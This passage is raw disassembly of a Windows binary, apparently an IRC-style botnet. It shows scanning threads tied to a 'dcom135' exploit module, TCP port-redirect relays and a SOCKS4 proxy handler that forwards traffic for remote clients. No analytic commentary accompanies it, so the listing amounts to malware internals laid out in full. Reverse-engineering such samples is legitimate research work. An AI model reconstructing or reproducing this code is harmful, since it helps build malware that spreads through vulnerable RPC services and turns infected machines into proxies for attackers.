		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407884
		cmp	[ebp+Str], 0
		push	1		; int
		push	[ebp+var_18]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		jnz	short loc_407878
		lea	eax, [ebp+var_140]


loc_407878:				; CODE XREF: sub_407758+118j
		push	eax		; Str
		push	[ebp+var_40]	; int
		call	sub_40D670
		add	esp, 14h


loc_407884:				; CODE XREF: sub_407758+FDj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		mov	[esp+2A8h+var_2A8], offset dword_43A798
		call	ds:dword_4230C0	; RtlLeaveCriticalSection
		jmp	loc_40794D
; ---------------------------------------------------------------------------


loc_4078A2:				; CODE XREF: sub_407758+CDj
		push	edi
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax		; Format
		lea	eax, [ebp+var_178]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+Str], 0
		lea	eax, [ebp+Str]
		jnz	short loc_4078E6
		lea	eax, [ebp+var_140]


loc_4078E6:				; CODE XREF: sub_407758+186j
		push	eax		; Format
		lea	eax, [ebp+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_429CB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40794D:				; CODE XREF: sub_407758+C3j
					; sub_407758+145j
		push	7D0h
		call	ds:dword_423060	; Sleep
		jmp	loc_40779F
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_407758+55j
		push	esi
		call	sub_417064
		pop	ecx
		push	0
		call	ds:dword_423050
sub_407758	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40796C	proc near		; DATA XREF: sub_40EE51+331Ao
					; sub_40EE51+5120o

var_1DC		= dword	ptr -1DCh
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_4397F8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407243
		push	8
		call	sub_416F90
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A3A
		mov	esi, offset dword_43A798
		push	esi
		call	ds:dword_4230CC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4230C8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A3A
		lea	eax, [ebp+Source]
		push	offset unk_42A4F0 ; Format
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A24
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_40D670
		add	esp, 14h


loc_407A24:				; CODE XREF: sub_40796C+99j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A3A:				; CODE XREF: sub_40796C+63j
					; sub_40796C+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_423060
		mov	edi, ebx
		mov	ds:dword_4397FC[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B07


loc_407A58:				; CODE XREF: sub_40796C+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A4A8 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	8		; int
		push	eax		; Source
		call	sub_416D48
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_442074[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407758
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_407AD2


loc_407AC7:				; CODE XREF: sub_40796C+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407AF9
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407AC7
; ---------------------------------------------------------------------------


loc_407AD2:				; CODE XREF: sub_40796C+159j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A45C ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		add	esp, 10h


loc_407AF9:				; CODE XREF: sub_40796C+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A58


loc_407B07:				; CODE XREF: sub_40796C+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BB1
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_407B1C:				; CODE XREF: sub_40796C+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_4397F8[eax*8]
		push	eax
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A408 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B6A
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_40D670
		add	esp, 14h


loc_407B6A:				; CODE XREF: sub_40796C+1DFj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_4397FC[eax*8],	ebx
		call	esi	; Sleep
		push	8
		call	sub_416F90
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BA1
		push	offset dword_43A798
		call	ds:dword_4230CC	; RtlDeleteCriticalSection


loc_407BA1:				; CODE XREF: sub_40796C+228j
		push	[ebp+var_2C]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_407BB1:				; CODE XREF: sub_40796C+19Ej
					; sub_40796C+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_4397FC[eax*8],	1
		jnz	loc_407B1C
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407BB1
sub_40796C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BCB	proc near		; DATA XREF: sub_40EE51+36F1o

Source		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	ds:dword_43C618	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D2F
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_44207C[eax], ebx
		call	ds:dword_43C534	; WSAAsyncSelect
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43C644	; bind
		test	eax, eax
		jnz	loc_407D2F
		push	0Ah
		push	ebx
		call	ds:dword_43C640	; listen
		test	eax, eax
		jnz	loc_407D2F


loc_407C75:				; CODE XREF: sub_407BCB+BEj
					; sub_407BCB+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_43C6AC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C75
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A584 ; Format
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	10h		; int
		push	eax		; Source
		call	sub_416D48
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_442074[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D53
		push	esi
		push	esi
		call	ds:dword_42309C
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_442084[ecx], eax
		jz	short loc_407D1A


loc_407D07:				; CODE XREF: sub_407BCB+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C75
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_407D07
; ---------------------------------------------------------------------------


loc_407D1A:				; CODE XREF: sub_407BCB+13Aj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset unk_42A538 ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx
		jmp	short loc_407D32
; ---------------------------------------------------------------------------


loc_407D2F:				; CODE XREF: sub_407BCB+61j
					; sub_407BCB+93j ...
		mov	edi, [ebp+arg_0]


loc_407D32:				; CODE XREF: sub_407BCB+162j
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_3C]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_407BCB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D53	proc near		; DATA XREF: sub_407BCB+11Co

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_43C698	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F09
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407DE3
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43C69C	; gethostbyname
		jmp	short loc_407DF1
; ---------------------------------------------------------------------------


loc_407DE3:				; CODE XREF: sub_407D53+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43C5D0	; gethostbyaddr


loc_407DF1:				; CODE XREF: sub_407D53+8Ej
		cmp	eax, edi
		jz	loc_407F09
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F09
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A62C ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Source]
		push	10h		; int
		push	eax		; Source
		call	sub_416D48
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_44207C[ebx]
		mov	ds:dword_442074[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_442080[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407F3A
		push	edi
		push	edi
		call	ds:dword_42309C
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_442084[ecx], eax
		jz	short loc_407EF6


loc_407EA3:				; CODE XREF: sub_407D53+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EB2
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_407EA3
; ---------------------------------------------------------------------------


loc_407EB2:				; CODE XREF: sub_407D53+153j
		mov	ebx, 1000h


loc_407EB7:				; CODE XREF: sub_407D53+19Fj
		push	ebx		; Size
		lea	eax, [ebp+var_1344]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C630	; recv
		cmp	eax, edi
		jle	short loc_407F09
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EB7
		jmp	short loc_407F09
; ---------------------------------------------------------------------------


loc_407EF6:				; CODE XREF: sub_407D53+14Ej
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset unk_42A5DC ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx


loc_407F09:				; CODE XREF: sub_407D53+44j
					; sub_407D53+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_44207C[eax]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_4]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_407D53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3A	proc near		; DATA XREF: sub_407D53+130o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F71:				; CODE XREF: sub_407F3A+7Cj
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	0
		push	edi
		push	eax
		push	ds:dword_442080[esi]
		call	ds:dword_43C630	; recv
		test	eax, eax
		jle	short loc_407FB8
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ds:dword_44207C[esi]
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F71


loc_407FB8:				; CODE XREF: sub_407F3A+61j
		push	ds:dword_442080[esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_14]
		call	sub_417064
		pop	ecx
		push	0
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_407F3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FD7	proc near		; DATA XREF: sub_40EE51+5E5Do

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	ds:dword_43C618	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	ds:dword_43C698	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_44207C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	ds:dword_43C644	; bind
		test	eax, eax
		jnz	loc_408179
		push	0Ah
		push	edi
		call	ds:dword_43C640	; listen
		test	eax, eax
		jnz	loc_408179
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A75C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080B2
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4080B2:				; CODE XREF: sub_407FD7+B9j
					; sub_407FD7+172j ...
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_43C6AC	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A708 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	11h		; int
		push	eax		; Source
		call	sub_416D48
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_442074[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4081DC
		push	esi
		push	esi
		call	ds:dword_42309C
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_442084[ecx], eax
		jz	short loc_408159


loc_408146:				; CODE XREF: sub_407FD7+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080B2
		push	5
		call	ds:dword_423060	; Sleep
		jmp	short loc_408146
; ---------------------------------------------------------------------------


loc_408159:				; CODE XREF: sub_407FD7+16Dj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_42A6C0 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4080B2
; ---------------------------------------------------------------------------


loc_408179:				; CODE XREF: sub_407FD7+7Bj
					; sub_407FD7+8Cj
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+Source]
		push	offset unk_42A680 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081BC
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4081BC:				; CODE XREF: sub_407FD7+1C3j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_3C]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_407FD7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081DC	proc near		; DATA XREF: sub_407FD7+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_44207C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	ds:dword_43C600	; select
		test	eax, eax
		jnz	short loc_40825D
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_40825D:				; CODE XREF: sub_4081DC+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C630	; recv
		test	eax, eax
		jg	short loc_40828E
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_40828E:				; CODE XREF: sub_4081DC+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_408488
		cmp	[ebp+var_4CF], 1
		jnz	loc_408488
		cmp	[ebp+Str2], bl
		jz	short loc_408324
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408324
		lea	eax, [ebp+Str2]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset unk_42A830 ; Format
		call	sub_40BFE3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_408324:				; CODE XREF: sub_4081DC+CFj
					; sub_4081DC+E5j
		push	10h		; Size
		lea	eax, [ebp+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	ds:dword_43C698	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083BC
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax		; Args
		push	offset unk_42A7E4 ; Format
		call	sub_40BFE3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_4083BC:				; CODE XREF: sub_4081DC+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40842B
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax		; Args
		push	offset unk_42A794 ; Format
		call	sub_40BFE3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_40842B:				; CODE XREF: sub_4081DC+1F0j
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4084A0
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_408488:				; CODE XREF: sub_4081DC+B9j
					; sub_4081DC+C6j
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	ebx
